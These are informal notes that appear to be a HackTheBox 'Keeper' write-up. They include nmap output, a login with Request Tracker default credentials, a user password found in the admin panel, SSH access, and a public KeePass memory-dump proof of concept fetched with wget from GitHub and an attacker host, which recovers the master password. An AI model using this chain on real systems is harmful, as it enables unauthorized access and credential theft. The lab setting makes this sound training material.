# Nmap 7.93 scan initiated Tue Aug 22 01:27:53 2023 as: nmap -p22,80,8000 -sV -sC -T4 -oA keeper-nmap keeper.htb
Nmap scan report for keeper.htb (10.10.11.227)
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_ 256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Open Ports :
port 22 ssh
port 80 web htttp
Port 80 redirected to another subdomain
# add it to /etc/hosts
10.10.11.227 keeper.htb tickets.keeper.htb
Google request tracker default credential
root : password
Admin -> User -> Select (To list all users)
lnorgaard : New user. Initial password set to Welcome2023!
root
Hinted the user is from Danish
foothold
ssh lnorgaard@keeper.htb
listing directory
total 332820
-rwxr-x--- 1 lnorgaard lnorgaard 253395188 May 24 12:51 KeePassDumpFull.dmp
-rwxr-x--- 1 lnorgaard lnorgaard 3630 May 24 12:51 passcodes.kdbx
-rw-r--r-- 1 root root 87391651 Aug 21 21:02 RT30000.zip
-rw-r----- 1 root lnorgaard 33 Aug 21 19:55 user.txt
We are hinted that is is vulnerable to KeePass CVE
dmp suggest that it might be vulnearble to memory dump CVE
Priv Esc
#Run locally
wget https://raw.githubusercontent.com/CMEPW/keepass-dump-masterkey/main/poc.py
#Run on user lnorgaard
wget http://your_ip:8000/poc.py
Execution
python3 poc.py ~/htb/keeper/KeePassDumpFull.dmp
2023-08-22 02:28:38,864 [.] [main] Opened /home/kali/htb/keeper/KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
Google the masterkey password
https://letmegooglethat.com/?q=%E2%97%8F%2Cdgr%E2%97%8Fd+med+fl%E2%97%8Fde
Did you mean: [●,**_rodgrod_** med **_flode_**]
https://letmegooglethat.com/?q=%E2%97%8F%2Crodgrod+med+flode
rødgrød med fløde
The reason you need to convert a PuTTY .ppk private key to a PEM format (.pem file) before using it with the ssh -i command is due to the differences in key formats used by PuTTY and OpenSSH.
In nutshell : Windows uses PuTTY but linux use OpenSSH